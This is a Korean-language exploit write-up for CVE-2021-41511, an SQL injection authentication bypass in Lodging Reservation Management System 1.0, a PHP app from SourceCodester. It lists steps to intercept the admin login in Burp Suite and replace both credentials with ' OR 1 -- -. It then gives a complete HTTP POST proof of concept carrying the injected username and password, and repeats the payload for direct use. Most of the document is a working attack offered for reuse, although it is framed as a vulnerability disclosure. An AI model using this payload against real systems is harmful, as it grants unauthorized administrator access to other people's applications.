CVE-2021-41511

익스플로잇 제목: Lodging Reservation Management System 1.0 - SQL 인젝션 / 인증 우회

익스플로잇 작성자: Nitin Sharma(vidvansh)

공급업체 홈페이지: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html

소프트웨어 링크: https://www.sourcecodester.com/download-code?nid=14883&title=Lodging+Reservation+Management+System+in+PHP+FREE+Source+Code

버전: v1.0

테스트 환경: Windows 10 - XAMPP Server

설명 : 패스워드 입력은 부적절한 삭제 처리로 인해 인증 우회에 영향을 받으며, 이로 인해 승인되지 않은 계정에 접근할 수 있게 됩니다.

#재현 단계: Step 1 제품 관리자 패널 http://localhost/lodge/admin/login.php로 이동합니다. Step 2 – 사용자 이름과 비밀번호에 아무 값이나 입력합니다. Step 3 – 로그인을 클릭하고 Burp Suite에서 요청을 캡처합니다. Step4 – 사용자 이름을 ' OR 1 -- - 로, 비밀번호를 ' OR 1 -- - 로 변경합니다. Step 5 – Forward를 클릭하면 관리자로 로그인됩니다.

PoC:

POST /lodge/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost Connection: close Referer: http://localhost/lodge/admin/login.php Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

username=+'+or+1%3D1+--+&password=+'+or+1%3D1+--+

인증 우회:

관리자 로그인 페이지(http://localhost/lodge/admin/login.php)로 이동한 다음, 아래 페이로드를 사용자 이름과 비밀번호로 사용하세요 =>

사용자 이름: ' or 1 -- - 비밀번호: ' or 1 -- -